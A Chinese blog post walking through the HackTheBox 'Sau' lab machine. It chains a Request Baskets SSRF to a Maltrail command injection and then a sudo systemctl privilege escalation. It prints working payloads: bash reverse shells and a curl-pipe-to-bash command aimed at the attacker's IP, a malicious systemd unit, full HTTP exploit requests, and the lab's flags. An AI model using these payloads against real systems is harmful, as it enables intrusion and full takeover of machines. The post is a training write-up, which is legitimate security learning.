hackthebox Sau靶场通关记录 | request baskets漏洞 | maltrail漏洞 | systemctl提权

  • 靶场hackthebox Sau,地址:https://app.hackthebox.com/machines/Sau
  • 此博客并非write up,只是记录以下我的打靶过程,也会有错误的操作,所以不建议不看内容,直接复制命令执行。但因为是记录过程,所以相关图文可能会更加详细,可能对你有所帮助。

一、前期探测

  • 开启靶机,靶机ip:10.10.11.224

    • image-20230716182715970
  • nmap端口发现: nmap -p- --min-rate 5000 10.10.11.224

    • 发现22,55555端口

    • image-20230716183302267

  • nmap针对扫描:nmap -p 22,55555 -sC -sV --min-rate 5000 10.10.11.224

    • 22端口ssh服务。

    • 55555端口,浏览器访问,发现是web服务。

    • image-20230716183704603

  • 浏览器访问55555端口:

    • image-20230716185725530

    • 界面显示Request Baskets,版本是1.2.1 。

      • 搜索发现Request Baskets是rbaskets开源的一个Web服务,用于收集任意 HTTP 请求并通过 RESTful API 或简单的 Web UI 检查它们。
      • image-20230716191618769
    • 同时发现漏洞https://avd.aliyun.com/detail?id=AVD-2023-27163

      • image-20230716191747345

二、reques baskets漏洞利用

  • 漏洞利用:https://notes.sjtu.edu.cn/s/MUUhEymt7#

    • request baskets服务存在api接口/api/baskets/{name}/baskets/{name},这里的name可以任意,这些接口会接收一个forward_url参数,而这个参数存在SSRF漏洞。

    • /api/baskets/{name}发送forward_url参数后,需要访问10.10.11.224:55555/{name}来触发SSRF漏洞(请求给定的forward_url)。

    • 可以实现55555端口访问其他端口内容的效果(如直接访问80端口被拦截,但是通过这个SSRF漏洞,让靶机主机访问80端口,再把内容显示在55555端口)。

  • 访问url:/api/baskets/rktest(rktest是随意取的),然后burp抓包,进行如下修改:

    • GET改成POST,请求体内容为:
    {
      "forward_url": "http://127.0.0.1:80/",
      "proxy_response": true,
      "insecure_tls": false,
      "expand_path": true,
      "capacity": 250
    }
    
    • forward_url是请求的url,因为不知道80端口的网站具体有什么内容,所以是路径直接是/。
    • proxy_response设置为true,应该是控制是否将请求的url内容转发过来。
  • 发送,返回token:iyU0YOQ2aZP9rqdWHqUusBbhxW9_1_Sh-AJQ0jyq03Dj

    • image-20230718094932963
  • 此时去访问:10.10.11.224:55555/rktest,显示了靶机80端口的网页:

    • image-20230718095444115
    • image-20230718095501940
    • 发现是Maltrail服务,还有版本号0.53,可以搜一下是什么,有什么漏洞
  • 如果proxy_response设置为false,访问10.10.11.224:55555/rktest_1请求可以成功,但是没有内容:

    • image-20230718095822554
    • 返回200,没有内容,只是执行了url请求。

三、Maltrail漏洞利用:

  • maltrail是开源的恶意流量检测系统,项目地址:https://github.com/stamparm/maltrail。

  • 搜索maltrail vulnerability(中文可能没有),可以找到漏洞描述:

    • https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/
    • image-20230718101916071
    • image-20230718101941128
    • 在登入页面,请求体发送相应内容,可以执行系统命令,图片上执行id命令并将内容输出到/tmp/bbq。
    • 利用这个漏洞,或许可以反弹shell。
  • 因为这个漏洞需要login页面,所以再次利用request baskets的ssrf漏洞

    • forward_rul参数为http://127.0.0.1:80/login

    • 对应的{name}需要修改,否则会显示重复

    • {
        "forward_url": "http://127.0.0.1:80/login",
        "proxy_response": true,
        "insecure_tls": false,
        "expand_path": true,
        "capacity": 250
      }
      
    • 强烈建议复制一下数据包,保存起来,因为可能要反复使用两个数据包,修改比较麻烦。

    • 访问:http://10.10.11.224:55555/rktest_2,显示login failed,说明已经可以访问login页面了

    • image-20230718102618788

四、反弹shell:

  • nc监听12345端口:

    • image-20230718103054468
  • burp抓取http://10.10.11.224:55555/rktest_2,数据包,指定请求体:

    •   username=;`bash -i >& /dev/tcp/10.10.14.15/12345 0>&1`  #ip,端口自己指定
      
    • 为了服务器识别,进行了url编码,同时请求头加上Content-Type: application/x-www-form-urlencoded

      • username=%3b%60bash+-i+%3e%26+%2fdev%2ftcp%2f10.10.14.15%2f12345+0%3e%261%60
        
      • image-20230718110407083

      • 建议保存上面的数据包。

    • username尝试了多种格式,发现都不能接收到shell,放弃直接bash

  • 尝试执行curl指令,执行sh脚本,反弹shell:

    • shell.sh:修改ip和port

    • image-20230718132425257

    • 开启http服务:python3 -m http.server 80,当前目录就是web根目录

    • image-20230718131920078

    • username=;`curl 10.10.14.15/shell.sh|bash`			 #
      username=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60 #url编码
      
    • 成功反弹shell:http服务器检测到流量,nc得到shell

    • image-20230718132849234

  • user flag:

    • puma家目录:9d27f073a1321690ac3a83a5ffc270db

    image-20230718134523914

五、权限提升:

  • 首先考虑信息泄露,查看maltrail配置文件,cat maltrail.conf

    • image-20230718134253199

    • # User entries (username:sha256(password):UID:filter_netmask(s))
      #filter_netmask(s) is/are used to filter results
      USERS
          admin:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:0:           #changeme!
      #   local:9ab3cd9d67bf49d01f6a2e33d0bd9bc804ddbe6ce1ff5d219c42624851db5dbc:1000:192.168.0.0/16      # changeme!
      
      
    • 获得一段sha256加密的密码,尝试破解(https://www.somd5.com/),发现就是maltrail的默认密码changeme!

    • image-20230718135213954

    • 如果这样,不太可能是root或者puma用户的密码。

    • 再检索了其他文件,没有什么发现。

  • id查看用户组:image-20230719085657219

  • 查看是否有什么可执行文件,find / -group puma,发现都是一些进程,或者没有权限。

  • 尝试sudo -l,发现居然不需要密码(一般都是需要密码,不知道为什么这里不需要?),发现可以不要密码的运行systemctl:

    • image-20230719090417632
    • image-20230719090611494
  • systemctl提权,反弹root权限的shell:

    • 网上搜了下sudo systemctl提权,发现方法:https://www.cnblogs.com/zlgxzswjy/p/14781471.html

    • 进入/dev/shm目录,创建文件mm.service,内容如下(ip,端口需要修改):

      • [Service]
        Type=oneshot
        ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/10.10.14.15/23456 0>&1 2<&1"
        [Install]
        WantedBy=multi-user.target
        
      • 多行写入指令:cat >>mm.service<<EOF

      • image-20230719092025896

      • 查看写入是否正常:cat mm.service

      • image-20230719092111646

    • nc监听端口23456:nc -lvvp 23456

    • 启动服务:

      • sudo systemctl link /dev/shm/mm.service,

      • sudo systemctl enable --now /dev/shm/mm.service\

      • 执行发现需要terminal:sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper,需要交互式shell来输入密码,但是sudo -l不用密码也可以,不知道为啥。

      • image-20230719092956021

      • 使用python获取交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

      • image-20230719092929680

      • 这时候sudo systemctl又需要密码了,说好的NOPASSWD呢????

      • image-20230719093304547

    • 再次看了下sudo -l,发现应该限制了服务名称trail.service

      • image-20230719094309368

      • 将mm.service修改了名字,再尝试发现还是不行:

      • image-20230719095829450

    • 尝试运行以下sudo systemctl status trail.service:

      • 发现确实可以不要密码运行,难道限制了指令只能status,trail.service的具体路径也限制了吗?

      • image-20230719100044420

      • Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>

      • 考虑修改原来的trail.service,发现权限不够:

      • image-20230719100507812

  • 再次去搜索systemctl提权的方法,原来是中文搜索,只能看到一篇提及systemctl提权的博客,这次英文搜索linux "systemctl" "escalate",发现:https://gtfobins.github.io/gtfobins/systemctl/,这里提及了一个sudo提权的方法:

    • image-20230719100928522

    • 直接sudo运行systemctl运行后,输入!sh

    • sudo systemctl status trail.service,显示一段内容后,会暂停让我们输入,直接输入!sh

    • image-20230719101141515

    • 提权成功!

    • flag在/root目录:2c4fa5feb2d7bd0f4d5ca9c23834bddb

    • image-20230719101412968

六、总结:

  • request baskets漏洞,CVE-2023-27163,SSRF漏洞,访问外网无法访问的80端口网站。
  • maltrail漏洞,远程命令执行,反弹shell。
  • systemctl sudo提权,可以无密码sudo systemctl status 某个服务,运行后,输入!sh提权。

七、参考:

  • sau write up:https://techyrick.com/sau-htb-writeup/

  • request baskets漏洞描述:https://avd.aliyun.com/detail?id=AVD-2023-27163

  • request baskets漏洞利用:https://notes.sjtu.edu.cn/s/MUUhEymt7#

  • maltrail漏洞利用:https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/

  • systemctl提权:https://www.cnblogs.com/zlgxzswjy/p/14781471.html

  • systemctl提权:https://gtfobins.github.io/gtfobins/systemctl/

  • SSRF连接login页面数据报:

  • POST /api/baskets/rktest HTTP/1.1
    Host: 10.10.11.224:55555
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 52
    Content-Type: application/x-www-form-urlencoded
    
    {
      "forward_url": "http://127.0.0.1:80/login",
      "proxy_response": true,
      "insecure_tls": false,
      "expand_path": true,
      "capacity": 250
    }
    
  • RCE使用curl反弹shell数据报:

  • POST /rktest HTTP/1.1
    Host: 10.10.11.224:55555
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 52
    Content-Type: application/x-www-form-urlencoded
    
    username=%3b%60curl+10.10.14.15%2fshell.sh%7cbash%60
    
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值